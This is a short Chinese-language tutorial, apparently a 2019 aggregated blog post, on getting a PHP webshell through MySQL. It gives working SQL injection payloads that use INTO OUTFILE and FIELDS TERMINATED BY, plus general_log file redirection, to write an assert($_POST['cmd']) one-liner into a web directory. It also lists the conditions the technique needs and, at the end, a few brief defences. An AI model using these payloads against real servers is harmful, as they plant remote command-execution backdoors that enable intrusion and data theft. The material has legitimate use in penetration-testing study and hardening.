MySQL 拿 WebShell
阿新 • • 發佈:2019-04-12
bsh 配置 post 分隔 int style 暫時 關閉 out
有絕對路徑(讀文件可以不用,寫文件必須)
需要能執行多行sql語句
姿勢:
兩種常規方法利用 MySQL getshell 的方法:
select … into outfile general_log
一、select … into outfile 介紹
利用需要滿足以下條件:
對web目錄有寫權限
GPC關閉(能使用單引號)
有絕對路徑(讀文件可以不用,寫文件必須)
沒有配置 –secure-file-priv
姿勢:
有 union id=2) union select 1,2,3,4,5,6,7,‘<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%231 無 union id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23 1
其中 fields terminated by 是用來指定列之間分隔符,如果查詢結果為單列則不會插入分隔符,所以必須有多個列才能成功寫入一句話
二、general_log 介紹
利用需要滿足以下條件:
對web目錄有寫權限
GPC關閉(能使用單引號)
有絕對路徑(讀文件可以不用,寫文件必須)
需要能執行多行sql語句
姿勢:
set global general_log=‘on‘; SET global general_log_file=‘/home/wwwroot/shadowyspirits/evil.php‘; SELECT ‘<?php assert($_POST["cmd"]);?>‘;
設置了 general_log 和 general_log_file 之後所有SQL記錄都會寫入指定的文件,所以會導致 log 文件非常大,推薦只暫時打開
需要註意的是 secure_file_priv 是只讀屬性,如果試圖使用 set global 修改會報如下 Error
Error Code: 1238. Variable ‘secure_file_priv‘ is a read only
三、防禦姿勢
設置 secure_file_prive = null (不允許導入和導出)
防止暴露網站絕對路徑
正確設置 web 目錄權限,除 log、upload 等目錄外不授予寫權限,upload 目錄不授予執行權限
MySQL 拿 WebShell